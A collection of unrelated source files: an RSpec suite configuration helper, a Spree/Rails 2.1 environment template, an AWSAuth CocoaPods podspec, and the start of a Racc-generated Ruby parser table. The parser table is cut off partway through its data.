dirs.map(&:basename).map(&:to_s).map(&:to_sym).sort
end
def dirs
Dir[root.join("*")].map(&Kernel.method(:Pathname)).select(&:directory?)
end
def ci?
!ENV["CI"].nil?
end
def parallel?
ENV["CI_NODE_TOTAL"].to_i > 1
end
def build_idx
ENV.fetch("CI_NODE_INDEX", -1).to_i
end
def coverage?
ENV["COVERAGE"] == "true"
end
def log_dir
Pathname(application.root).join("log")
end
def tmp_dir
Pathname(application.root).join("tmp")
end
end
end
RSpec.configure do |config|
## Suite
config.add_setting :suite
config.suite = Test::Suite.new
config.include Test::SuiteHelpers
## Derived metadata
config.define_derived_metadata file_path: %r{/suite/} do |metadata|
metadata[:group] = metadata[:file_path]
.split("/")
.then { |parts| parts[parts.index("suite") + 1] }
.to_sym
end
# Add more derived metadata rules here, e.g.
#
config.define_derived_metadata file_path: %r{/actions/} do |metadata|
metadata[:db] = true
metadata[:type] = :action
end
#
# config.define_derived_metadata :db do |metadata|
# metadata[:factory] = true unless metadata.key?(:factory)
# end
## Feature loading
Dir[File.join(__dir__, "*.rb")].sort.each do |file|
options = Dry::System::MagicCommentsParser.call(file)
tag_name = options[:require_with_metadata]
next unless tag_name
tag_name = File.basename(file, File.extname(file)) if tag_name.eql?(true)
config.when_first_matching_example_defined(tag_name.to_sym) do
require file
end
end
config.suite.groups.each do |group|
config.when_first_matching_example_defined group: group do
require_relative group.to_s
rescue LoadError # rubocop:disable Lint/SuppressedException
end
end
config.around(:example, type: :action) do |ex|
extend Dry::Effects::Handler.Resolve
request = {
host: 'https://domain.com'
}
provide(**request, &ex)
end
end
| 20.99422 | 89 | 0.64565 |
2818b7c4e94d27657c8fcab3103dd63416247518 | 4,123 | # Be sure to restart your web server when you modify this file.
# Uncomment below to force Rails into production mode when
# you don't control web/app server and can't set it the proper way
# ENV['RAILS_ENV'] ||= 'production'
# Specifies gem version of Rails to use when vendor/rails is not present
SPREE_GEM_VERSION = '0.3.0' unless defined? SPREE_GEM_VERSION
RAILS_GEM_VERSION = "2.1.0" unless defined? RAILS_GEM_VERSION
# Bootstrap the Rails environment, frameworks, and default configuration
require File.join(File.dirname(__FILE__), 'boot')
Spree::Initializer.run do |config|
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# See Rails::Configuration for more options.
# Skip frameworks you're not going to use. To use Rails without a database
# you must remove the Active Record framework.
# config.frameworks -= [ :active_record, :active_resource, :action_mailer ]
# Specify gems that this application depends on.
# They can then be installed with "rake gems:install" on new installations.
# config.gem "bj"
# config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
# config.gem "aws-s3", :lib => "aws/s3"
config.gem "has_many_polymorphs", :version => '2.12'
config.gem "highline", :version => '1.4.0'
config.gem "mini_magick", :version => '1.2.3'
config.gem "activemerchant", :lib => "active_merchant", :version => '1.3.2'
config.gem "tlsmail"
# Only load the plugins named here, in the order given. By default, all plugins
# in vendor/plugins are loaded in alphabetical order.
# :all can be used as a placeholder for all plugins not explicitly named
# config.plugins = [ :exception_notification, :ssl_requirement, :all ]
config.plugins = [ :all, :extension_patches ]
# Add additional load paths for your own custom dirs
# config.load_paths += %W( #{RAILS_ROOT}/extras )
# Force all environments to use the same logger level
# (by default production uses :info, the others :debug)
# config.log_level = :debug
# Make Time.zone default to the specified zone, and make Active Record store time values
# in the database in UTC, and return them converted to the specified local zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Uncomment to use default local time.
config.time_zone = 'UTC'
# Your secret key for verifying cookie session data integrity.
# If you change this key, all old sessions will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
config.action_controller.session = {
:session_key => '_<%= app_name %>_session',
:secret => '<%= app_secret_key_to_be_replaced_in_real_app_by_generator %>'
}
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "rake db:sessions:create")
# config.action_controller.session_store = :active_record_store
# Use SQL instead of Active Record's schema dumper when creating the test database.
# This is necessary if your schema can't be completely dumped by the schema dumper,
# like if you have constraints or database-specific column types
config.active_record.schema_format = :sql
# Activate observers that should always be running
# config.active_record.observers = :cacher, :garbage_collector
end
# Add new inflection rules using the following format
# (all these examples are active by default):
# Inflector.inflections do |inflect|
# inflect.plural /^(ox)$/i, '\1en'
# inflect.singular /^(ox)en/i, '\1'
# inflect.irregular 'person', 'people'
# inflect.uncountable %w( fish sheep )
# end
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
# Mime::Type.register "application/x-mobile", :mobile
# Include your application configuration below | 45.811111 | 108 | 0.732719 |
d5ee7f48afbb02b377cb606562fb25d104c80a91 | 1,126 | Pod::Spec.new do |s|
s.name = 'AWSAuth'
s.version = '2.6.31'
s.summary = 'Amazon Web Services SDK for iOS.'
s.description = 'The AWS SDK for iOS provides a library, code samples, and documentation for developers to build connected mobile applications using AWS.'
s.homepage = 'http://aws.amazon.com/mobile/sdk'
s.license = 'Apache License, Version 2.0'
s.author = { 'Amazon Web Services' => 'amazonwebservices' }
s.platform = :ios, '9.0'
s.source = { :git => 'https://github.com/aws/aws-sdk-ios.git',
:tag => s.version}
s.requires_arc = true
s.subspec 'Core' do |authcore|
authcore.dependency 'AWSAuthCore', '2.6.31'
end
s.subspec 'FacebookSignIn' do |facebook|
facebook.dependency 'AWSFacebookSignIn', '2.6.31'
end
s.subspec 'GoogleSignIn' do |google|
google.dependency 'AWSGoogleSignIn', '2.6.31'
end
s.subspec 'UserPoolsSignIn' do |up|
up.dependency 'AWSUserPoolsSignIn', '2.6.31'
end
s.subspec 'UI' do |ui|
ui.dependency 'AWSAuthUI', '2.6.31'
end
end
| 30.432432 | 158 | 0.611901 |
e98ab6529a0990539b2a2bfff99dadd634212d9e | 256,449 | #
# DO NOT MODIFY!!!!
# This file is automatically generated by Racc 1.4.12
# from Racc grammer file "".
#
require 'racc/parser.rb'
class Ruby21Parser < Racc::Parser
require "ruby_lexer"
require "ruby_parser_extras"
# :stopdoc:
# Local Variables: **
# racc-token-length-max:14 **
# End: **
##### State transition tables begin ###
clist = [
'-288,-103,624,-100,579,579,270,-288,-288,-288,747,270,220,-288,-288',
'270,-288,-289,738,660,217,218,739,-100,-289,-98,660,270,660,579,579',
'-101,3,-289,621,782,-288,-288,848,-288,-288,-288,-288,-288,579,876,-84',
'539,221,-105,538,-106,-101,659,699,727,217,218,-102,-70,659,815,659',
'585,-99,623,-103,-288,-288,-288,-288,-288,-288,-288,-288,-288,-288,-288',
'-288,-288,-288,-104,727,-288,-288,-288,815,643,217,218,-103,-288,-416',
'269,-288,217,218,620,269,-288,-100,-288,269,-288,-288,-288,-288,-288',
'-288,-288,-102,-288,221,-288,269,-103,746,-100,116,116,-103,928,-100',
'115,115,-288,-288,-288,-91,-95,-89,-288,-288,-288,-288,116,-598,-288',
'-288,-288,115,-288,-104,116,116,-101,221,-599,115,115,-101,-288,-288',
'-288,-96,116,-97,-92,116,698,115,-288,-288,115,-288,-288,-288,-288,-288',
'-90,-94,-94,-102,660,-92,838,-598,-102,221,221,781,727,116,94,95,221',
'-95,115,221,815,-602,998,-288,-288,-288,-288,-288,-288,-288,-288,-288',
'-288,-288,-288,-288,-288,527,659,-288,-288,-288,587,784,-288,-511,-93',
'-288,241,588,-288,-288,-511,-288,-517,-288,-516,-288,586,-288,-288,-288',
'-288,-288,-288,-288,-101,-288,-94,-288,94,95,-92,560,-602,557,556,555',
'605,558,688,-602,-288,-288,-288,-288,-598,-288,-602,-288,-602,456,-105',
'96,97,-602,-602,-602,-104,-517,-602,-602,-602,-94,-602,272,-94,-92,-602',
'-99,-92,-98,116,-602,-602,-602,-602,115,83,-94,272,-596,221,-92,-602',
'-602,84,-602,-602,-602,-602,-602,560,564,557,556,555,688,558,607,606',
'-90,605,504,567,-502,-106,502,759,96,97,840,-502,-595,-99,-602,-602',
'-602,-602,-602,-602,-602,-602,-602,-602,-602,-602,-602,-602,575,574',
'-602,-602,-602,-505,783,-602,575,574,-602,605,-505,-602,-602,-516,-602',
'-596,-602,260,-602,-505,-602,-602,-602,-602,-602,-602,-602,-425,-602',
'-602,-602,116,607,606,786,-502,115,-596,605,974,568,757,-502,-602,-602',
'-602,-602,-595,-602,-502,-602,-502,527,564,-264,-89,-502,-502,-502,-102',
'-509,-502,-502,-502,567,-502,221,-509,-98,-595,607,606,618,-502,241',
'-502,-502,-502,408,489,-425,489,-602,410,409,-502,-502,-425,-502,-502',
'-502,-502,-502,875,-96,768,-425,575,574,607,606,613,605,116,-263,605',
'238,-105,115,605,240,239,605,762,-425,610,-502,-502,-502,-502,-502,-502',
'-502,-502,-502,-502,-502,-502,-502,-502,761,568,-502,-502,-502,-602',
'-502,-502,-510,760,-502,730,-602,-502,-502,-510,-502,-598,-502,585,-502',
'-602,-502,-502,-502,-502,-502,-502,-502,723,-502,638,-502,607,606,603',
'607,606,608,-602,607,606,625,607,606,-502,-502,-502,-502,263,-502,-505',
'-502,215,767,637,264,116,-505,-505,-505,-502,115,-505,-505,-505,560',
'-505,557,556,555,564,558,-94,-507,-505,-513,-505,-505,-505,116,-507',
'567,-513,116,115,-103,-505,-505,115,-505,-505,-505,-505,-505,-97,-91',
'-92,116,-512,-505,217,218,115,562,546,-512,-505,-106,-100,-101,721,116',
'572,571,575,574,115,-505,-505,-505,-505,-505,-505,-505,-505,-505,-505',
'-505,-505,-505,-505,720,-508,-505,-505,-505,-515,-505,-505,-508,719',
'-505,878,-515,-505,-505,704,-505,568,-505,881,-505,-515,-505,-505,-505',
'-505,-505,-505,-505,884,-505,886,-505,888,560,-514,557,556,555,241,558',
'539,-514,221,541,-505,-505,-505,-505,-602,-505,-514,-505,263,844,815',
'-602,-602,-602,890,264,-505,-602,-602,560,-602,557,556,555,564,558,238',
'713,891,-602,240,239,236,237,539,567,716,541,711,539,-602,-602,541,-602',
'-602,-602,-602,-602,217,218,844,815,560,709,557,556,555,562,558,560',
'707,557,556,555,241,558,217,218,575,574,705,-602,-602,-602,-602,-602',
'-602,-602,-602,-602,-602,-602,-602,-602,-602,688,241,-602,-602,-602',
'713,644,704,899,701,-602,238,713,-602,716,240,239,568,-602,-262,-602',
'920,-602,-602,-602,-602,-602,-602,-602,903,-602,-602,-602,238,905,1004',
'-289,240,239,236,237,906,1005,-289,221,-602,-602,704,-93,909,-602,1003',
'-289,293,72,73,74,12,60,911,913,-102,66,67,915,915,221,70,221,68,69',
'71,33,34,75,76,119,120,121,122,123,32,31,30,104,103,105,106,867,868',
'22,921,869,110,111,648,11,48,694,13,108,107,109,98,59,100,99,101,923',
'102,110,111,693,94,95,925,45,46,44,241,245,250,251,252,247,249,257,258',
'253,254,-288,234,235,213,688,255,256,-288,43,532,214,36,-599,221,61',
'62,-288,677,63,212,38,238,-84,244,47,240,239,236,237,248,246,242,23',
'243,221,221,742,91,83,85,86,87,89,955,221,221,84,92,241,259,241,-239',
'743,935,65,936,221,81,88,90,939,-265,96,97,8,72,73,74,12,60,241,241',
'-280,66,67,647,272,636,70,-280,68,69,71,33,34,75,76,635,-280,221,631',
'949,32,31,30,104,103,105,106,-262,629,22,622,956,957,619,648,11,48,10',
'13,108,107,109,98,59,100,99,101,959,102,110,111,960,94,95,616,45,46',
'44,241,245,250,251,252,247,249,257,258,253,254,-280,234,235,-514,612',
'255,256,-280,43,590,-514,36,589,400,61,62,-280,585,63,-514,38,238,504',
'244,47,240,239,236,237,248,246,242,23,243,543,542,-288,91,83,85,86,87',
'89,-288,-288,976,84,92,-599,259,536,-288,-288,978,65,979,-599,81,88',
'90,-288,241,96,97,293,72,73,74,12,60,528,983,742,66,67,524,272,704,70',
'741,68,69,71,33,34,75,76,988,743,990,992,994,32,31,30,104,103,105,106',
'994,221,22,275,521,1001,514,632,11,48,513,13,108,107,109,98,59,100,99',
'101,221,102,110,111,-69,94,95,1006,45,46,44,241,245,250,251,252,247',
'249,257,258,253,254,-289,234,235,529,504,255,256,-289,43,1007,530,36',
'915,915,61,62,-289,915,63,454,38,238,1012,244,47,240,239,236,237,248',
'246,242,23,243,502,976,519,91,83,85,86,87,89,520,742,499,84,92,272,259',
'489,955,518,220,65,458,457,81,88,90,743,455,96,97,293,72,73,74,12,60',
'221,411,-515,66,67,406,390,-599,70,-515,68,69,71,33,34,75,76,-598,-515',
'693,387,384,32,31,30,104,103,105,106,381,952,22,557,556,555,357,558',
'11,48,221,13,108,107,109,98,59,100,99,101,318,102,110,111,976,94,95',
'317,45,46,44,241,245,250,251,252,247,249,257,258,253,254,452,234,235',
'-335,1035,255,256,453,43,1036,-335,36,1037,1038,61,62,454,994,63,-335',
'38,238,994,244,47,240,239,236,237,248,246,242,23,243,994,221,260,91',
'83,85,86,87,89,216,211,210,84,92,915,259,976,209,112,994,65,,,81,88',
'90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,119',
'120,121,122,123,32,31,30,104,103,105,106,,952,22,557,556,555,,558,11',
'48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241',
'245,250,251,252,247,249,257,258,253,254,,234,235,,,255,256,,43,,,36',
',,61,62,,,63,,38,238,,244,47,240,239,236,237,248,246,242,23,243,,,,91',
'83,85,86,87,89,,,,84,92,,259,,,,,65,,,81,88,90,,,96,97,293,72,73,74',
'12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,119,120,121,122,123,32,31',
'30,104,103,105,106,,,22,119,120,121,122,123,11,48,,13,108,107,109,98',
'59,100,99,101,,102,110,111,,94,95,,45,46,44,241,245,250,251,252,247',
'249,257,258,253,254,,234,235,,,255,256,,43,,,36,,,61,62,,,63,,38,238',
',244,47,240,239,236,237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84',
'92,221,259,,,,,65,,,81,88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,',
'70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,11',
'48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241',
'245,250,251,252,247,249,257,258,253,254,,234,235,,,255,256,,43,,,36',
',,61,62,,,63,,38,238,,244,47,240,239,236,237,248,246,242,23,243,,,,91',
'83,85,86,87,89,,,,84,92,,259,,,,,65,,,81,88,90,,,96,97,293,72,73,74',
'12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105',
'106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94',
'95,,45,46,44,241,245,250,251,252,247,249,257,258,253,254,,234,235,,',
'255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,248,246',
'242,23,243,,,,91,83,85,86,87,89,,,,84,92,,259,,,,,65,,,81,88,90,,,96',
'97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31',
'30,104,103,105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101',
',102,110,111,,94,95,,45,46,44,241,245,250,251,252,247,249,257,258,253',
'254,,234,235,,,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239',
'236,237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,259,,,,,65',
',,81,88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34',
'75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,11,48,,13,108,107,109',
'98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241,245,250,251,252,247',
'249,257,258,253,254,,234,235,,,255,256,,43,,,36,,,61,62,,,63,,38,238',
',244,47,240,239,236,237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84',
'92,,259,,,,,65,,,81,88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70',
',68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,11,48',
',13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241,245',
'250,251,252,247,249,257,258,253,254,,234,235,,,255,256,,43,,,295,,,61',
'62,,,63,,38,238,,244,47,240,239,236,237,248,246,242,23,243,,,,91,83',
'85,86,87,89,,,,84,92,,259,,,,,65,,,81,88,90,,,96,97,293,72,73,74,12',
'60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106',
',,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95',
',45,46,44,241,245,250,251,252,247,249,257,258,253,254,,234,235,,,255',
'256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,248,246,242',
'23,243,,,,91,83,85,86,87,89,,,,84,92,,259,,,,,65,,,81,88,90,,,96,97',
'293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30',
'104,103,105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102',
'110,111,,94,95,,45,46,44,241,245,250,251,252,247,249,257,258,253,254',
',234,235,,,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236',
'237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,259,,,,,65,,,81',
'88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76',
',,,,,32,31,30,104,103,105,106,,,22,,,,,,11,48,,13,108,107,109,98,59',
'100,99,101,,102,110,111,,94,95,,45,46,44,241,245,250,251,252,247,249',
'257,258,253,254,,234,235,,,255,256,,43,,,295,,,61,62,,,63,,38,238,,244',
'47,240,239,236,237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84,92',
',259,,,,,65,,,81,88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68',
'69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,11,48,,13',
'108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241,245,250',
'251,252,247,249,257,258,253,254,,234,235,,,255,256,,43,,,36,,,61,62',
',,63,,38,238,,244,47,240,239,236,237,248,246,242,23,243,,,,91,83,85',
'86,87,89,,,,84,92,,259,,,,,65,,,81,88,90,,,96,97,293,72,73,74,12,60',
',,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,',
',22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95',
',45,46,44,241,245,250,251,252,247,249,257,258,253,254,,234,235,,,255',
'256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,248,246,242',
'23,243,,,,91,83,85,86,87,89,,,,84,92,,259,,,,,65,,,81,88,90,,,96,97',
'293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30',
'104,103,105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102',
'110,111,,94,95,,45,46,44,241,245,250,251,252,247,249,257,258,253,254',
',234,235,,,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236',
'237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,259,,,,,65,,,81',
'88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76',
',,,,,32,31,30,104,103,105,106,,560,22,557,556,555,,558,11,48,,13,108',
'107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241,-621,-621',
'-621,-621,247,249,,713,-621,-621,,,,,,255,256,,43,,,36,,,61,62,,,63',
',38,238,,244,47,240,239,236,237,248,246,242,23,243,,,,91,83,85,86,87',
'89,,,,84,92,,560,,557,556,555,65,558,,81,88,90,,,96,97,293,72,73,74',
'12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,713,,,,,32,31,30,104,103',
'105,106,,560,22,557,556,555,,558,11,48,,13,108,107,109,98,59,100,99',
'101,,102,110,111,,94,95,,45,46,44,241,245,250,251,252,247,249,,713,253',
'254,,,,,,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237',
'248,246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,560,,557,556,555,65',
'558,,81,88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33',
'34,75,76,713,,,,,32,31,30,104,103,105,106,,560,22,557,556,555,,558,11',
'48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241',
'245,250,251,252,247,249,257,713,253,254,,,,,,255,256,,43,,,36,,,61,62',
',,63,,38,238,,244,47,240,239,236,237,248,246,242,23,243,,,,91,83,85',
'86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,293,72,73,74,12,60,,,',
'66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22',
',,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45',
'46,44,241,,,,,,,,,,,,,,,,255,256,,43,,,295,,241,61,62,,,63,,38,238,',
'244,47,240,239,236,237,255,256,242,23,243,,,,91,83,85,86,87,89,,,238',
'84,92,,240,239,236,237,,65,,,81,88,90,,,96,97,293,72,73,74,12,60,,,',
'66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22',
',,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45',
'46,44,241,245,250,251,252,247,249,257,258,253,254,,-621,-621,,,255,256',
',43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,248,246,242,23',
'243,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,293,72',
'73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103',
'105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111',
',94,95,,45,46,44,241,245,250,251,252,247,249,257,258,253,254,,-621,-621',
',,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,248',
'246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96',
'97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31',
'30,104,103,105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101',
',102,110,111,,94,95,,45,46,44,241,,,,,,,,,,,,,,,,255,256,,43,,,36,,',
'61,62,,,63,,38,238,,244,47,240,239,236,237,,,242,23,243,,,,91,83,85',
'86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,293,72,73,74,12,60,,,',
'66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22',
',,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45',
'46,44,241,,,,,,,,,,,,,,,,255,256,,43,,,36,,,61,62,,,63,,38,238,,244',
'47,240,239,236,237,,,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,,,,,',
'65,,,81,88,90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33',
'34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,11,48,,13,108,107,109',
'98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241,,,,,,,,,,,,,,,,255',
'256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,,,242,23,243',
',,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,293,72,73',
'74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103',
'105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111',
',94,95,,45,46,44,241,-621,-621,-621,-621,247,249,,,-621,-621,,,,,,255',
'256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,248,246,242',
'23,243,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,293',
'72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104',
'103,105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100,99,101,,102,110',
'111,,94,95,,45,46,44,241,-621,-621,-621,-621,247,249,,,-621,-621,,,',
',,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236,237,248',
'246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96',
'97,8,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31',
'30,104,103,105,106,,,22,,,,,,11,48,10,13,108,107,109,98,59,100,99,101',
',102,110,111,,94,95,,45,46,44,241,-621,-621,-621,-621,247,249,,,-621',
'-621,,,,,,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239,236',
'237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88',
'90,,,96,97,293,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,',
',,,,32,31,30,104,103,105,106,,,22,,,,,,11,48,,13,108,107,109,98,59,100',
'99,101,,102,110,111,,94,95,,45,46,44,241,-621,-621,-621,-621,247,249',
',,-621,-621,,,,,,255,256,,43,,,36,,,61,62,,,63,,38,238,,244,47,240,239',
'236,237,248,246,242,23,243,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,',
'81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76',
',,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59',
'100,99,101,,102,110,111,,94,95,,45,46,44,241,-621,-621,-621,-621,247',
'249,,,-621,-621,,,,,,255,256,,226,,,232,,,61,62,,,63,,,238,,244,47,240',
'239,236,237,248,246,242,231,243,,,,91,83,85,86,87,89,,,,84,92,,,,,,',
'65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311',
'75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109',
'98,59,100,99,101,,102,110,111,,94,95,,45,46,44,241,,,,,,,,,,,,,,,,255',
'256,,226,,,232,,,61,62,,,63,,,238,,244,47,240,239,236,237,,,,231,,,',
',91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60',
',,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105',
'106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,286,102,110,111,,94',
'95,,45,46,44,241,,,,,,,,,,,,,,,,255,256,,226,,,232,,,61,62,,,63,,,238',
'282,244,47,240,239,236,237,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,',
',,,65,,287,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,33',
'34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,,48,,,108,107,109,98',
'59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,',
',232,,,61,62,,,63,,,,,,47,,,,,,,,23,,,,,91,83,85,86,87,89,,,,84,92,',
',,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,33',
'34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,,48,,,108,107,109,98',
'59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,',
',232,,,61,62,,,63,,,,,,47,,,,,,,,23,,,,,91,83,85,86,87,89,,,,84,92,221',
',,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310',
'311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107',
'109,98,59,100,99,101,286,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,',
',,,,,226,,,232,,,61,62,,,63,,284,,,,47,,,,,,,,231,,,,,91,83,85,86,87',
'89,,,,84,92,,,,,,,65,,287,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,',
'70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,',
',,,,48,,,108,107,109,98,59,100,99,101,286,102,110,111,,94,95,,45,46',
'44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,',
'91,83,85,86,87,89,,,,84,92,,,,,,,65,,287,81,88,90,,,96,97,72,73,74,',
'60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105',
'106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95',
',45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231',
',,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74',
',60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106',
',,22,,,,,,,48,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45',
'46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,23,,',
',,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60',
',,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,',
',22,,,,,,,48,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45',
'46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,23,,',
',,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60',
',,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,',
',22,,,,,,,48,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45',
